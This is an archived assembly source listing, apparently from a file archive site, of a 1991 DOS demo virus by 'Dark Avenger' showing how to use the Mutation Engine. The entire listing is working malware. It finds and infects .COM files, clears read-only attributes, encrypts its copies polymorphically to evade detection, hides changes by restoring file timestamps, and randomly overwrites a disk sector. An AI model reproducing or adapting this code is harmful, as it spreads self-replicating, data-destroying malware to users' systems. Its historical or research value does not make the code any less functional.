home *** CD-ROM | disk | FTP | other *** search
-
- ; This is a demo virus to demonstrate
- ; the Mutation Engine <tm> usage
-
- ; Version 1.01 (26-10-91)
- ; (C) 1991 Dark Avenger.
-
- .model tiny
- .radix 16
- .code
-
- extrn mut_engine: near, rnd_get: near, rnd_init: near
- extrn rnd_buf: word, data_top: near
-
- org 100
-
- start:
- call locadr
- reladr:
- db 'We dedicate this little virus to Sara Gordon'
- db ' who wanted to have a virus named after her.'
- locadr:
- pop dx
- mov cl,4
- shr dx,cl
- sub dx,10
- mov cx,ds
- add cx,dx ;Calculate new CS
- mov dx,offset begin
- push cx dx
- retf
- begin:
- cld
- mov di,offset start
- push es di
- push cs
- pop ds
- mov si,offset old_cod
- movsb ;Restore first 3 bytes
- movsw
- push ax
- mov dx,offset dta_buf ;Set DTA
- mov ah,1a
- int 21
- mov ax,3524 ;Hook INT 24
- int 21
- push es bx
- mov dx,offset fail_err
- mov ax,2524
- int 21
- xor ax,ax ;Initialize random seed
- mov [rnd_buf],ax
- call rnd_init
- push sp
- pop cx
- sub cx,sp
- add cx,4
- push cx
- mov dx,offset srchnam
- mov cl,3
- mov ah,4e
- find_lup:
- int 21 ;Find the next COM file
- jc infect_done
- cmp [dta_buf+1a],ch
- jnz infect ;If not infected, infect it now
- pop cx
- find_nxt:
- push cx
- mov dx,offset dta_buf
- mov ah,4f
- jmp find_lup
- infect_done:
- pop cx
- loop find_nxt
- jnc damage_done
- call rnd_get
- test al,1
- jz damage_done
- xchg ax,dx ;Trash a random sector on the default
- mov ah,19 ; drive
- int 21
- mov cx,1
- mov bx,offset start
- int 26
- popf
- damage_done:
- pop dx ds
- mov ax,2524 ;Restore INT 24
- int 21
- push ss
- pop ds
- mov dx,80 ;Restore DTA
- mov ah,1a
- int 21
- push ds ;Exit to program
- pop es
- pop ax
- retf
- infect:
- xor cx,cx ;Reset read-only attribute
- mov dx,offset dta_buf+1e
- mov ax,4301
- int 21
- jc infect_done
- mov ax,3d02 ;Open the file
- int 21
- jc infect_done
- xchg ax,bx
- mov dx,offset old_cod ;Read first 3 bytes
- mov cx,3
- mov ah,3f
- int 21
- jc read_done
- mov ax,word ptr [old_cod] ;Make sure it's not an EXE file
- cmp ax,'ZM'
- jz read_done
- cmp ax,'MZ'
- jz read_done
- xor cx,cx ;Seek at EOF
- xor dx,dx
- mov ax,4202
- int 21
- test dx,dx ;Make sure the file is not too big
- jnz read_done
- cmp ax,-2000
- jnc read_done
- mov bp,ax
- sub ax,3
- mov word ptr [new_cod+1],ax
- mov ax,5700 ;Save file's date/time
- int 21
- push dx cx
- mov ax,offset data_top+0f
- mov cl,4 ;Now call the Engine
- shr ax,cl
- mov cx,cs
- add ax,cx
- mov es,ax
- mov dx,offset start
- mov cx,offset _DATA
- push bp bx
- add bp,dx
- xor si,si
- xor di,di
- mov bl,0f
- mov ax,101
- call mut_engine
- pop bx ax
- add ax,cx ;Make sure file length mod 256 = 0
- neg ax
- xor ah,ah
- add cx,ax
- mov ah,40 ;Put the virus into the file
- int 21
- push cs
- pop ds
- jc write_done
- sub cx,ax
- jnz write_done
- xor dx,dx ;Put the JMP instruction
- mov ax,4200
- int 21
- mov dx,offset new_cod
- mov cx,3
- mov ah,40
- int 21
- write_done:
- pop cx dx ;Restore file's date/time
- mov ax,5701
- int 21
- read_done:
- mov ah,3e ;Close the file
- int 21
- jmp infect_done
-
- fail_err: ;Critical errors handler
- mov al,3
- iret
-
- srchnam db '*.COM',0
-
- old_cod: ;Buffer to read first 3 bytes
- ret
- dw ?
-
- new_cod: ;Buffer to write first 3 bytes
- jmp $+100
-
- .data
-
- dta_buf db 2bh dup(?) ;Buffer for DTA
-
- end start